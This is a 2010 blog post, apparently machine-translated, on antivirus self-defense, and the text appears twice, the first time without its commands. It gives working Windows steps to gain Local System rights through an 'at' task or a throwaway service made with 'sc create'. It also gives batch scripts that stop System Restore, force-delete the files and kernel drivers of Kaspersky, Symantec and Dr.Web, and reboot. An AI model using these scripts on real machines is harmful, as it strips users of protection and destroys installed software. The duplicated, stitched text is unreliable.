July 6, 2010 at 01:28Self-defense of antiviruses or we cut antivirus without a knife
Hello everybody!
Recently, we have already discussed the power of heuristic technologies of modern antiviruses and came to the conclusion that no one should be trusted. Even sometimes to ourselves :)
Today we’ll talk about another controversial issue of antiviruses - self-defense. Some vendors take this moment very seriously, and their products stand even in complex complex cases of active infection, effectively removing viral intercepts, installing themselves in the system, and even subsequently removing already fairly registered malware. Others believe that active infection is a battle with windmills, which does not lead to anything worthwhile, and therefore - LiveCD, and in some cases format c:
We will give credit to both opponents: of course, if there is an opportunity to defeat the viral confrontation, that’s good. If only this does not lead to bsods and loading the system for a couple of days. And it is absolutely obvious that with a serious and complex infection it is often impossible to break through the active mass of interceptions, malicious processes at the kernel level and other things - and therefore it is often more reasonable to treat an inactive system (with LiveCD or scanning the hard drive on an uninfected machine), well, in the case of a motley file infection - and think about a complete reinstall of the OS.
But let's not indulge in disputes - let’s leave it for the next article :) Let's talk about the simple thing: about the system’s self-defense, even on a knownly non-infected system. And we will accept a priori:
1) there is a comprehensive product antivirus + hipps + firewall;
2) the system was not infected, but somehow malicious code entered;
3) the malicious code has the intention to remove the antivirus or damage it enough to ensure complete inoperability.
The option will be the simplest - an attempt to delete vital anti-virus files with Local System rights. The idea of this approach belongs to my good friend Alexei Baranov, who reported on it in private circles some time ago. Time has passed, we will assume that the vendors pulled themselves up - check this.
On Windows systems, working under the administrator (and this is probably 80% of all systems), getting Local System rights is quite simple. Two methods immediately come to mind that are well described on the net.
Method 1. Using the scheduler.
By default, the task scheduler service runs on all Windows systems. This service runs tasks with the required Local System rights. Then it’s very simple to add the task somehow:
and kill.bat will start with Local System rights.
The advantages are obvious: everything is simple and clear. Disadvantage: the user may notice a strange new task in the scheduler, and simply disable this service for security reasons.
Method 1. Create a service.
The essence of the method is to create a service, start it and delete it. In this case, everything is implemented in three lines: In addition, killer.bat will be launched with IDLE priority, it will also be launched on behalf of Local System. The method is invisible, does not manifest itself.
At the time of publication of the KIS 2010 article, both methods were skipped at the hip level, without even asking for any permissions.
Well, now let's move on to killer.bat itself (in our case, it is located in the root of drive C, but it’s clear that you can throw it anywhere).
The essence of this file is simple: we delete everything that belongs to the antivirus. So, for Kaspersky 2010, it will be: For Symantec, something like (who knows more precisely - correct, I'm on Kaspersky myself): For Doctor Web: Well and so on. In the first line, the Windows Recovery Service is stopped - just in case :) It is clear that a similar script can be prescribed for all antiviruses - the essence is to change the paths to vital files. Total - what do we have?
1. KIS 2010 received such damage that it was killed, and the system was left unprotected. KIS 2011 is deprived of this sexual weakness - but it is still beta ...
2. NIS lost several files, but its performance did not break, the files were subsequently downloaded and restored when updating from the Internet.
3. DrWeb was not harmed at all, as expected, taking into account the special emphasis of the developer on confronting the infection. But do not forget that there is SpiDie for the Web ...
At the same time, the hips of these products calmly missed both of the manipulation options (I checked KIS personally).
CONCLUSIONS
Unfortunately, we have to admit the fact that some of the existing anti-virus solutions have a number of vulnerabilities that can be used to damage the protection and actually remove the anti-virus from the computer.
It is proposed in the comments to supplement observations and studies on other antivirus products (preferably with hip to assess the level of blocking actions to obtain Local System rights). I think that the described manipulations are understandable and can be easily reproduced on the virtual machines of enthusiasts.
Cheers!
Recently, we have already discussed the power of heuristic technologies of modern antiviruses and came to the conclusion that no one should be trusted. Even sometimes to ourselves :)
Today we’ll talk about another controversial issue of antiviruses - self-defense. Some vendors take this moment very seriously, and their products stand even in complex complex cases of active infection, effectively removing viral intercepts, installing themselves in the system, and even subsequently removing already fairly registered malware. Others believe that active infection is a battle with windmills, which does not lead to anything worthwhile, and therefore - LiveCD, and in some cases format c:
We will give credit to both opponents: of course, if there is an opportunity to defeat the viral confrontation, that’s good. If only this does not lead to bsods and loading the system for a couple of days. And it is absolutely obvious that with a serious and complex infection it is often impossible to break through the active mass of interceptions, malicious processes at the kernel level and other things - and therefore it is often more reasonable to treat an inactive system (with LiveCD or scanning the hard drive on an uninfected machine), well, in the case of a motley file infection - and think about a complete reinstall of the OS.
But let's not indulge in disputes - let’s leave it for the next article :) Let's talk about the simple thing: about the system’s self-defense, even on a knownly non-infected system. And we will accept a priori:
1) there is a comprehensive product antivirus + hipps + firewall;
2) the system was not infected, but somehow malicious code entered;
3) the malicious code has the intention to remove the antivirus or damage it enough to ensure complete inoperability.
The option will be the simplest - an attempt to delete vital anti-virus files with Local System rights. The idea of this approach belongs to my good friend Alexei Baranov, who reported on it in private circles some time ago. Time has passed, we will assume that the vendors pulled themselves up - check this.
On Windows systems, working under the administrator (and this is probably 80% of all systems), getting Local System rights is quite simple. Two methods immediately come to mind that are well described on the net.
Method 1. Using the scheduler.
By default, the task scheduler service runs on all Windows systems. This service runs tasks with the required Local System rights. Then it’s very simple to add the task somehow:
at 11:05 c:\killer.batand kill.bat will start with Local System rights.
The advantages are obvious: everything is simple and clear. Disadvantage: the user may notice a strange new task in the scheduler, and simply disable this service for security reasons.
Method 1. Create a service.
The essence of the method is to create a service, start it and delete it. In this case, everything is implemented in three lines: In addition, killer.bat will be launched with IDLE priority, it will also be launched on behalf of Local System. The method is invisible, does not manifest itself.
sc create CmdAsSystem type= own type= interact binPath= "cmd /c start /low /b cmd /c (c:\killer.bat)"
net start CmdAsSystem
sc delete CmdAsSystemAt the time of publication of the KIS 2010 article, both methods were skipped at the hip level, without even asking for any permissions.
Well, now let's move on to killer.bat itself (in our case, it is located in the root of drive C, but it’s clear that you can throw it anywhere).
The essence of this file is simple: we delete everything that belongs to the antivirus. So, for Kaspersky 2010, it will be: For Symantec, something like (who knows more precisely - correct, I'm on Kaspersky myself): For Doctor Web: Well and so on. In the first line, the Windows Recovery Service is stopped - just in case :) It is clear that a similar script can be prescribed for all antiviruses - the essence is to change the paths to vital files. Total - what do we have?
net stop srservice
erase /F /S /Q "C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010"
erase /F /S /Q "%windir%\system32\drivers\kl1.sys"
erase /F /S /Q "%windir%\system32\drivers\klif.sys"
erase /F /S /Q "%windir%\system32\drivers\klbg.sys"
erase /F /S /Q "%windir%\system32\drivers\klim5.sys"
erase /F /S /Q "%windir%\system32\drivers\klmd.sys"
erase /F /S /Q "%windir%\system32\drivers\klmouflt.sys"
shutdown -r -f -c "Bye-Bye!!!"net stop srservice
erase /F /S /Q "C:\Program Files\Symantec"
erase /F /S /Q "C:\Program Files\Norton Internet Security"
shutdown -r -f -c "Bye-Bye!!!"net stop srservice
erase /F /S /Q "C:\Program Files\DrWeb"
erase /F /S /Q "%windir%\system32\drivers\dwprot.sys"
erase /F /S /Q "%windir%\system32\drivers\drwebaf.sys"
erase /F /S /Q "%windir%\system32\drivers\DrWebPF.sys"
erase /F /S /Q "%windir%\system32\drivers\spiderg3.sys"
shutdown -r -f -c "Bye-Bye!!!"1. KIS 2010 received such damage that it was killed, and the system was left unprotected. KIS 2011 is deprived of this sexual weakness - but it is still beta ...
2. NIS lost several files, but its performance did not break, the files were subsequently downloaded and restored when updating from the Internet.
3. DrWeb was not harmed at all, as expected, taking into account the special emphasis of the developer on confronting the infection. But do not forget that there is SpiDie for the Web ...
At the same time, the hips of these products calmly missed both of the manipulation options (I checked KIS personally).
CONCLUSIONS
Unfortunately, we have to admit the fact that some of the existing anti-virus solutions have a number of vulnerabilities that can be used to damage the protection and actually remove the anti-virus from the computer.
It is proposed in the comments to supplement observations and studies on other antivirus products (preferably with hip to assess the level of blocking actions to obtain Local System rights). I think that the described manipulations are understandable and can be easily reproduced on the virtual machines of enthusiasts.
Cheers!